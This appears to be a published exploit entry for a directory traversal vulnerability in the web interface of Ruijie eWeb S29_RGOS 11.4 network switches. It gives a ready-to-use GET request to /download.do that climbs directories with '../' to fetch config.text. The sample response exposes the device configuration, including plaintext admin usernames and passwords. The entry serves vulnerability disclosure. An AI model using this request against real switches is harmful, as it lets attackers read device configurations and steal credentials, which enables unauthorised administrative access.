Ruijie Networks Switch eWeb S29_RGOS 11.4 Directory Traversal

`# Exploit Title: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Directory Traversal  
# Exploit Author: Tuygun  
# Date: 2020-08-19  
# Vendor Homepage: https://www.ruijienetworks.com/  
# Version: eWeb S29_RGOS 11.4(1)B12P11  
# Source : https://faruktuygun.com/directorytraversal.html  
  
Proof of Concept Request:  
  
GET /download.do?file=../../../../config.text HTTP/1.1  
Host: 192.168.2.160  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101  
Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: LOCAL_LANG_COOKIE=en; UI_LOCAL_COOKIE=en; mac=0074.9c95.43f0;  
SID=33BA8206DE5B8B8295C89A3C4787D7A; module=network; subModule=certify;  
threeModule=certify_adv  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
Response:  
  
HTTP/1.1 200 OK  
Date: Wed, 03 Jun 2020 20:52.25 GMT  
Server: HTTP-Server/1.1  
Content-length: 2070  
Content-Disposition: attachment; filename="config.text"  
Content-Type: application/octet-stream; Charset=UTF-8  
  
version S29_RGOS 11.4(1)B12P11  
hostname OMURGA  
!  
no spanning-tree  
!  
username admin password admin  
username ruijie privilege 15 201998  
  
!  
cwmp  
!  
install 0 S2910C-24GT2XS-HP-E  
!  
sysmac 0074.9C95.43f0  
!  
enable service web-server http  
enable service web-server https  
webmaster level 1 username ruijie password 201998  
!  
nfpp  
!  
.  
.  
.  
`